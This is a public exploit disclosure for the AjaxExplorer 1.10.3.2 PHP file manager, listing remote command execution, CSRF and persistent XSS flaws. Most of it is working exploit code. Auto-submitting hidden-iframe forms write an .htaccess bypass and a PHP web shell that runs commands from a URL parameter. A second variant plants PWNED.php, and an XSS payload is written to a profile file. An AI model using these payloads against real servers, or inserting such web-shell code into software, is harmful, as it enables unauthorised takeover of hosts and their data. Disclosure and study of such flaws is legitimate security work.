Author

hyp3rlinx

Risk

[

Security Risk High

]

0day-ID

0day-ID-25062

Category

web applications

Date add

01-06-2016

Platform

php

[+] Credits: hyp3rlinx
 
[+] ISR: apparitionsec
 
 
Vendor:
==========
sourceforge.net
smsid
 
download linx:
sourceforge.net/projects/ajax-explorer/files/
 
 
Product:
=======================
AjaxExplorer v1.10.3.2
 
Manage server files through simple windows like interface.
 
 
Vulnerability Type:
=======================
Remote Command Execution
CSRF
Persistent XSS
 
 
CVE Reference:
==============
N/A
 
 
Vulnerability Details:
=====================
 
AjaxExplorer has command terminal feature where you can move, copy, delete
files etc... also lets a user save commands in a
flat file named "terminal" under their user profile
"/ae.user/owner/myprofile".
 
e.g.
 
copy [FILEPATH + FILENAME] [FILEPATH]
create [FILEPATH + FILENAME]
 
Since AjaxExplorer also suffers from CSRF vulnerability we can exploit the
application by first creating an .htaccess file with an
"allow from all" directive to bypass access restrictions, next create
arbitrary PHP files for remote command execution purposes.
This exploit will require two consecutive HTTP requests, so we need to
target an iframe to stay on same page until exploit is completed.
 
 
Exploit code(s):
===============
 
1) first POST request creates .htaccess file so we can bypass directory
browsing restrictions.
2) second POST writes our remote command execution file we will then access
to execute commands on the victim system.
 
The below P:/ for "strPath" form value is for "Profile"
 
 
<iframe name="PWNED" style="display:none" name="hidden-form"></iframe>
 
<form target="PWNED" id="htaccess" action="
http://localhost/AjaxExplorer%201.10.3.2/ajaxexplorer/index.php"
method="post">
<input type="hidden" name="strPage" value="control/file/editor" >
<input type="hidden" name="strPath" value="P:/" >
<input type="hidden" name="strFile" value=".htaccess" >
<input type="hidden" name="strText" value='allow from all' >
<script>document.getElementById('htaccess').submit()</script>
</form>
 
<form target="PWNED" id="RCE" action="
http://localhost/AjaxExplorer%201.10.3.2/ajaxexplorer/index.php"
method="post">
<input type="hidden" name="strPage" value="control/file/editor" >
<input type="hidden" name="strPath" value="P:/" >
<input type="hidden" name="strFile" value="terminal.php" >
<input type="hidden" name="strText" value='<?php exec($_GET["cmd"]);?>' >
<script>document.getElementById('RCE').submit()</script>
</form>
 
Now we can access and run arbitrary cmds.
 
http://localhost/AjaxExplorer%201.10.3.2/ajaxexplorer/ae.user/owner/myprofile/terminal.php?cmd=c
:\\Windows\\system32\\calc.exe
 
 
/////////////////////////////////////////////////////
 
 
Here is another way to RCE this application... first create PHP file then
edit.
 
<iframe name="DOOM" style="display:none" name="hidden-form"></iframe>
 
<form target="DOOM" id="CSRF2" method="post" action="
http://localhost/AjaxExplorer%201.10.3.2/ajaxexplorer/index.php">
<input type="hidden" name="strPage" value="control/file/editor" />
<input type="hidden" name="strPath" value="D:/" />
<input type="hidden" name="strFile" value="PWNED.php" />
<input type="hidden" name="strText"
value="<?php%20exec($_GET['cmd']);%20?>" />
</form>
 
<form target="DOOM" id="CSRF1" method="post" action="
http://localhost/AjaxExplorer%201.10.3.2/ajaxexplorer/index.php">
<input type="hidden" name="strPage" value="control/file/create" />
<input type="hidden" name="strPath" value="D:/" />
<input type="hidden" name="strFile" value="D:/PWNED.php" />
<script>
document.getElementById('CSRF1').submit()
document.getElementById('CSRF2').submit()
</script>
</form>
 
 
////////////////////////
 
Persistent XSS:
================
 
We can also write persistent XSS payload to the user profile "terminal"
file.
 
<form id="XSS" method="post" action="
http://localhost/AjaxExplorer%201.10.3.2/ajaxexplorer/index.php">
<input type="hidden" name="strPage" value="control/file/editor" />
<input type="hidden" name="strPath" value="P:/" />
<input type="hidden" name="strFile" value="terminal" />
<input type="hidden" name="strText" value="<script>alert(666)</script>" />
<script>document.getElementById('XSS').submit()</script>
</form>
 
 
 
Disclosure Timeline:
===============================
Vendor Notification:  NA
June 1, 2016  : Public Disclosure
 
 
Exploitation Technique:
=======================
Remote
 
 
Severity Level:
================
8.0 (High)
CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N

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